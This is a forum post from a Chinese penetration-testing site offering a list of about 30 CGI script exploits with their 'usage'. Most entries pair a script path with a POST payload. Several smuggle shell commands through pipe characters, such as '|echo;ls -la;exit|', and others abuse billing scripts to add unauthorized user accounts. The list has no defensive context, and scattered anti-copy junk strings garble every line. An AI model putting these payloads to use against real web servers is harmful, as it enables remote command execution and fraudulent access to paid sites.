中国网络渗透测试联盟

标题: Cgi-bin 30个漏洞＋使用方法 [打印本页]
作者: admin    时间: 2012-9-13 16:55
标题: Cgi-bin 30个漏洞＋使用方法
==============================
; T8 G% ]9 Q# p, f8 e% p) K8 V  ^2 v& a' @+ G5 u- x
/smspass.pl) s! B1 K- m! f, z* c, N: ]; A, r
username=username&password=password( X8 _& P2 b: y7 q
: c1 x5 m( L* D9 X5 C) G
/index.cgi  m. w! h; M4 V# |% H
wei=ren&gen=command
: q) o5 C0 R0 e3 n, n
7 `9 _0 H' w# f7 C1 S8 F/passmaster.cgi' N1 ~7 L: j- A; {( L; v* P
Action=Add&Username=Username&Password=Password
8 H) y2 q' n  u! i- d: R+ i. _* W- b
/accountcreate.cgi  d4 i/ q& e/ i! g: @# t* j
username=username&password=password&ref1=|echo;ls|
/ m* E; |# }, n, U; D5 T
* F9 S5 z* b  |7 O1 T/form.cgi4 I/ H0 ?( n' j# V# h' z' H/ e
name=xxxx&email=email&subject=xxxx&response=|echo;ls|) m5 _) R3 z  ~6 a

. d5 ?& T5 l4 F/addusr.pl
. R; k  w, |2 a$ C- L! |' \3 \/cgi-bin/EuroDebit/addusr.pl$ o8 y# G0 Z/ B- t5 z$ H
user=username&pass=Password&confirm=Password1 v. l* a2 Y7 Y7 g. r* P

( C+ l( i+ K! q8 E) D& A) n: J/ccbill-local.asp
8 L' K+ |" N- M/ m- r' v: Opost_values=username:password
' S9 \) c  ^# N8 j, A$ l: R/ V' ^; B3 X: o+ A) ?. N2 Q
/count.cgi
& _' |" C6 y$ ]pinfile=|echo;ls -la;exit|( n* V; d# k8 A
: D8 ]& m; _+ M# e! \
/recon.cgi, z! [/ W# q) j& y) d: e
/recon.cgi?search
# z+ |/ T4 a: h% ?/ A; jsearchoption=1&searchfor=|echo;ls -al;exit|1 r2 l* ~$ U* R' D7 Z  w7 _
4 Z' B0 O; Z/ k1 s
/verotelrum.pl
5 w1 t! ]  u9 z4 W- H" b) f/ Avercode=username:password:dseegsow:add:amount<&30>
. e4 w5 c. d' {+ \6 ~) {7 [! \
/af.cgi" @% J) Y8 c+ ^+ I! Y
_browser_out=|echo;ls -la;exit;|
- n, X4 ?) G& l3 f: `5 w2 A$ v7 ]0 X9 ^" B
/modify.cgi
( l6 t4 u& R1 T- Fusername=username&password=password&expire=307 S* w/ U; N; S6 _4 X5 l2 x  b
) h, U, m5 V. t% i- [$ e7 o
/openjournal.cgi# q' |) H2 C% s
edit=1&ct=2&go=|echo;ls -al;exit|
4 j2 W! W: c0 s" j$ t' ?. }; E
% U* f# l7 n' r8 r7 y/gx9passwd.cgi
/ W8 q5 `# ?7 @- H1 wcmd=ADD&user=username&pass=password' `, x3 y% {9 I5 z: ?/ S8 D& O# K
+ q! f) j$ o6 t2 Y
/probecontrol.cgi
! {# H+ F; Z6 m6 Q/ ]command=enable&username=username&password=password
6 H0 B5 f2 t$ h8 A" A$ I; Z# `+ O
/recon.cgi
. @  X1 _" m, S6 n  Osearchoption=3&searchfor=echo;ls -la;exit
9 Z4 R& T: _7 D9 H: ]3 ?, v0 h  v* c+ m9 T% ~8 @. w. l
/htadd.pl8 R# }( ?' [9 o( U' Z3 E
configfile=|echo; ls -alt; exit
) I7 t( G; e/ o, C- M% T2 N# G, ~  r/ ]0 h0 c
/gx9passwd.cgi
' s# U" Z% p' a  C0 Scmd=ADD&user=username&pass=password
0 H. O6 C. f; g# I
% b* r. i9 Y# I# D* ?" @$ Y/ibill*.pl
: c1 s: h, \% z# _% [reqtype=add&authpwd=authpwd&username=username&password=password6 d) _$ ~. Z5 j/ s) g
! O. d# H" S  k0 W& M; J
/cpay.cgi' T8 g( k5 H5 Q/ p$ [- M$ ^
command=add_member&username=username(EMAIL)&password=password(DES)
1 X' T. Z% S+ I& F5 V6 ?7 c5 c: ?1 }! w, N. U9 q/ ?0 n! U- `. w
/globill_ut.cgi2 S: N6 V& W( [* ]
do=add&username=username&password=password&wpassword=password+ n7 _" O2 u0 h" B  s! [% b
% v! M! L. Q' ~- c7 |% E
/usercontrol.cgi
5 U" {- B2 C( U, }. O( A$ I0 p, p8 @3 Q. y: Acommand=enable&username=USER&password=PASS
' Y" x: n1 W4 K2 L) f6 M3 Q/ x+ _9 B5 ?' ^
/globoSALErum.cgi
; z+ D' i) o  gaction=ADD&seccode=seccode&login=username&password=password" j5 [4 B: ]0 ^; c) X8 C- G+ ~

( j  F9 @" l; T4 o5 L+ U/addusr.pl7 g9 R3 n0 e3 f
user=USER&pass=PASS&confirm=PASS$ C9 @" G$ C) G3 P* l2 _: C" ]
. \- p: R$ B) X9 e- z
/pincount.cgi
) J8 `; h& W) N3 V- C/cgi-bin/mastergate/pincount.cgi
' T& {& B( J/ e5 M4 G% L/ K' x: Epinfile=|echo;pwd;exit|
; d0 f/ I6 s+ a" T
- B" V/ z. Z7 M' d7 w+ M/accountcreate.cgi
, k' v) D& `  Z/cgi-bin/gateway/accountcreate.cgi
0 {6 O" E. @& T% ~9 a) Uusername=username&password=password&password2=password&ref1=|echo;ls -al;exit5 L) {0 z3 z  F6 ]1 B+ h
! T* \/ @+ C* b+ c8 r4 `
/af.cgi
9 U) U0 {( U* ?' H6 I/env.cgi
+ P$ Z8 i" }% ?7 h8 T6 kADD+;echo;pwd;exit4 m# {2 S% k8 I8 n

3 J( f* o/ x1 b6 [/count.cgi- m/ W) \7 v3 s, S* J1 L
pinfile=|echo;pwd;exit|
3 s4 ~' e8 m+ W) Q8 _1 O* l: J8 r; w
# n- [) S% ]8 q/recon.cgi+ s0 m6 `8 D# M5 R/ u
searchoption=1&searchfor=|echo;ls%20-al;exit|
2 ~7 ?' u3 ?& t9 Q. N1 z; `+ w( l3 q$ I  V/ A, }2 k0 W
/add.cgi
  m. O2 W6 R0 M  }username=username&password=password&expire=30* E. M3 @/ ^. d1 Z9 z0 F
2 _, m4 k$ E4 u  g0 `( X* j1 v
==============================8 e5 G& v, h2 L4 \* e# h. X




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2